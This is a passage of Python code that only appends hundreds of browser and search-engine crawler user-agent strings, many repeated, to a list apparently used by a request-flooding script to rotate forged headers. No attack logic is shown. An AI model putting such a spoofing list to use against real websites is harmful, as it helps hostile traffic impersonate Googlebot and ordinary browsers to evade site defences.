CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) 